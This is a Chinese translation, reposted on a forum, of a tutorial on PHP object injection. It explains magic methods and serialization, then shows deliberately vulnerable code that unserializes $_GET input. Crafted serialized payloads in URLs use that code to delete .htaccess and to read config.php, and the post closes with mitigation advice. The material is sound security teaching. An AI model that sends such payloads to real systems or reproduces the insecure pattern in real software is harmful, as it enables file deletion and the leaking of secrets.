php对象注入
0x00 背景原文:http://securitycafe.ro/2015/01/05/understanding-php-object-injection/
php对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险,为了理解这个漏洞,请读者具备基础的php知识。
0x01 漏洞案例
如果你觉得这是个渣渣洞,那么请看一眼这个列表,一些被审计狗挖到过该漏洞的系统,你可以发现都是一些耳熟能详的玩意(就国外来说)
WordPress 3.6.1
Magento 1.9.0.1
Joomla 3.0.3
Ip board 3.3.5
除此之外等等一堆系统,八成可能大概在这些还有其他的php程序中还有很多这种类型的漏洞,所以不妨考虑坐下喝杯咖啡并且试着去理解这篇文章。
0x01 PHP类和对象
类和变量是非常容易理解的php概念,打个比方,下面的代码在一个类中定义了一个变量和一个方法。
<?php
class TestClass
{
// 一个变量
public $variable = 'This is a string';
// 一个简单的方法
public function PrintVariable()
{
echo $this->variable;
}
}
// 创建一个对象
$object = new TestClass();
// 调用一个方法
$object->PrintVariable();
?>
它创建了一个对象并且调用了 PrintVariable 函数,该函数会输出变量 variable。
如果想了解更多关于php面向对象编程的知识 请点: http://php.net/manual/zh/language.oop5.php
0x02 php magic方法
php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“__”开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。
这些函数在某些情况下会自动调用,比如:
__construct 当一个对象创建时调用 (constructor) __destruct 当一个对象被销毁时调用 (destructor) __ toString当一个对象被当作一个字符串使用
为了更好的理解magic方法是如何工作的,让我们添加一个magic方法在我们的类中。
<?php
class TestClass
{
// 一个变量
public $variable = 'This is a string';
// 一个简单的方法
public function PrintVariable()
{
echo $this->variable . '<br />';
}
// Constructor
public function __construct()
{
echo '__construct <br />';
}
// Destructor
public function __destruct()
{
echo '__destruct <br />';
}
// Call
public function __toString()
{
return '__toString<br />';
}
}
// 创建一个对象
//__construct会被调用
$object = new TestClass();
// 创建一个方法
//'This is a string’ 这玩意会被输出
$object->PrintVariable();
// 对象被当作一个字符串
//__toString 会被调用
echo $object;
// End of PHP script
// php脚本要结束了, __destruct会被调用
?>
我们往里头放了三个 magic方法,__construct, __destruct和 __toString,你可以看出来,__construct在对象创建时调用, __destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。
这个脚本会输出这狗样:
__construct
This is a string
__toString
__destruct
这只是一个简单的例子,如果你想了解更多有关magic函数的例子,请点击下面的链接:
http://php.net/manual/zh/language.oop5.magic.php
0x03 php对象序列化
php允许保存一个对象方便以后重用,这个过程被称为序列化,打个比方,你可以保存一个包含着用户信息的对象方便等等重用。
为了序列化一个对象,你需要调用 “serialize”函数,函数会返回一个字符串,当你需要用到这个对象的时候可以使用“unserialize”去重建对象。
让我们在序列化丢进那个例子,看看序列化张什么样。
<?php
// 某类
class User
{
// 类数据
public $age = 0;
public $name = '';
// 输出数据
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. <br />';
}
}
// 创建一个对象
$usr = new User();
// 设置数据
$usr->age = 20;
$usr->name = 'John';
// 输出数据
$usr->PrintData();
// 输出序列化之后的数据
echo serialize($usr);
?>
它会输出
User John is 20 years old.
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
你可以看到序列化之后的数据中 有 20和John,其中没有任何跟类有关的东西,只有其中的数据被数据化。
为了使用这个对象,我们用unserialize重建对象。
<?php
// 某类
class User
{
// Class data
public $age = 0;
public $name = '';
// Print data
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// 重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
// 调用PrintData 输出数据
$usr->PrintData();
?>
着会输出
User John is 20 years old
0x04 序列化magic函数
magic函数constructor (__construct)和 destructor (__destruct) 是会在对象创建或者销毁时自动调用,其他的一些magic函数会在serialize 或者 unserialize的时候被调用。
__sleep magic方法在一个对象被序列化的时候调用。 __wakeup magic方法在一个对象被反序列化的时候调用。
注意 __sleep 必须返回一个数组与序列化的变量名。
<?php
class Test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';
public function PrintVariable()
{
echo $this->variable . '<br />';
}
public function __construct()
{
echo '__construct<br />';
}
public function __destruct()
{
echo '__destruct<br />';
}
public function __wakeup()
{
echo '__wakeup<br />';
}
public function __sleep()
{
echo '__sleep<br />';
return array('variable', 'variable2');
}
}
// 创建一个对象,会调用 __construct
$obj = new Test();
// 序列化一个对象,会调用 __sleep
$serialized = serialize($obj);
//输出序列化后的字符串
print 'Serialized: ' . $serialized . <br />';
// 重建对象,会调用 __wakeup
$obj2 = unserialize($serialized);
//调用 PintVariable, 会输出数据 (BUZZ)
$obj2->PrintVariable();
// php脚本结束,会调用 __destruct
?>
这玩意会输出:
__construct
__sleep
Serialized: O:4:"Test":2:
{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";}
__wakeup
BUZZ
__destruct
__destruct
你可以看到,我们创建了一个对象,序列化了它(然后__sleep被调用),之后用序列化对象重建后的对象创建了另一个对象,接着php脚本结束的时候两个对象的__destruct都会被调用。
更多相关的内容
http://php.net/manual/zh/language.oop5.serialization.php
0x05 php对象注入
现在我们理解了序列化是如何工作的,我们该如何利用它?事实上,利用这玩意的可能性有很多种,关键取决于应用程序的流程与,可用的类,与magic函数。
记住序列化对象的值是可控的。
你可能会找到一套web程序的源代码,其中某个类的__wakeup 或者 __destruct and其他乱七八糟的函数会影响到web程序。
打个比方,我们可能会找到一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件会被删除。然后代码张这狗样。
<?php
class LogFile
{
// log文件名
public $filename = 'error.log';
// 某代码,储存日志进文件
public function LogData($text)
{
echo 'Log some data: ' . $text . '<br />';
file_put_contents($this->filename, $text, FILE_APPEND);
}
// Destructor 删除日志文件
public function __destruct()
{
echo '__destruct deletes "' . $this->filename . '" file. <br />';
unlink(dirname(__FILE__) . '/' . $this->filename);
}
}
?>
某例子关于如何使用这个类
<?php
include 'logfile.php';
// 创建一个对象
$obj = new LogFile();
// 设置文件名和要储存的日志数据
$obj->filename = 'somefile.log';
$obj->LogData('Test');
// php脚本结束啦,__destruct被调用,somefile.log文件被删除。
?>
在其他的脚本,我们可能又恰好找到一个调用“unserialize”函数的,并且恰好变量是用户可控的,又恰好是$_GET之类的什么玩意的。
<?php
include 'logfile.php';
// ... 一些狗日的代码和 LogFile 类 ...
// 简单的类定义
class User
{
// 类数据
public $age = 0;
public $name = '';
// 输出数据
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// 重建 用户输入的 数据
$usr = unserialize($_GET['usr_serialized']);
?>
你看,这个代码调用了 “LogClass” 类,并且有一个 “unserialize” 值是我们可以注入的。
所以构造类似这样的东西:
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
究竟发生了什么呢,因为输入是可控的,所以我们可以构造任意的序列化对象,比如:
<?php
$obj = new LogFile();
$obj->filename = '.htaccess';
echo serialize($obj) . '<br />';
?>
这个会输出
O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}
__destruct deletes ".htaccess" file.
现在我们将构造过后的序列化对象发送给刚才的脚本:
script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}
这会输出
__destruct deletes ".htaccess" file.
现在 .htaccess 已经被干掉了,因为脚本结束时 __destruct会被调用。不过我们已经可以控制“LogFile”类的变量啦。
这就是漏洞名称的由来:变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行或者其他坑爹的行为。
虽然这不是一个很好的例子,不过我相信你可以理解这个概念,unserialize自动调用 __wakeup 和 __destruct,接着攻击者可以控制类变量,并且攻击web程序。
0x06 常见的注入点
先不谈 __wakeup 和 __destruct,还有一些很常见的注入点允许你利用这个类型的漏洞,一切都是取决于程序逻辑。
打个比方,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj) ,而且其他类也可能定义了一个类允许__toString读取某个文件。
<?php
// … 一些include ...
class FileClass
{
// 文件名
public $filename = 'error.log';
//当对象被作为一个字符串会读取这个文件
public function __toString()
{
return file_get_contents($this->filename);
}
}
// Main User class
class User
{
// Class data
public $age = 0;
public $name = '';
// 允许对象作为一个字符串输出上面的data
public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// 用户可控
$obj = unserialize($_GET['usr_serialized']);
// 输出 __toString
echo $obj;
?>
so,我们构造url
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
再想想,如果我们用序列化调用 FileClass呢
我们创建利用代码
<?php
$fileobj = new FileClass();
$fileobj->filename = 'config.php';
echo serialize($fileobj);
?>
接着用生成的exp注入url
script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}
接着网页会输出 config.php的源代码
<?php
$private_data = 'MAGIC';
?>
ps:我希望这让你能够理解。
0x07 其他的利用方法
可能其他的一些magic函数海存在利用点:比如__call 会在对象调用不存在的函数时调用,__get 和 __set会在对象尝试访问一些不存在的类,变量等等时调用。
不过需要注意的是,利用场景不限于magic函数,也有一些方式可以在一半的函数中利用这个漏洞,打个比方,一个模块可能定义了一个叫get的函数进行一些敏感的操作,比如访问数据库,这就可能造成sql注入,取决于函数本身的操作。
唯一的一个技术难点在于,注入的类必须在注入点所在的地方,不过一些模块或者脚本会使用“autoload”的功能,具体可以在这里了解
http://php.net/manual/zh/language.oop5.autoload.php
ps:去读那狗屎的代码
0x08 如何利用或者避免这个漏洞
别在任何用户可控的地方使用“unserialize”,可以考虑“json_decode“
0x09 结论
虽然很难找到而且很难利用,但是这真的真的很严重,可以导致各种各样的漏洞。
论坛不能没有像楼主这样的人才啊!
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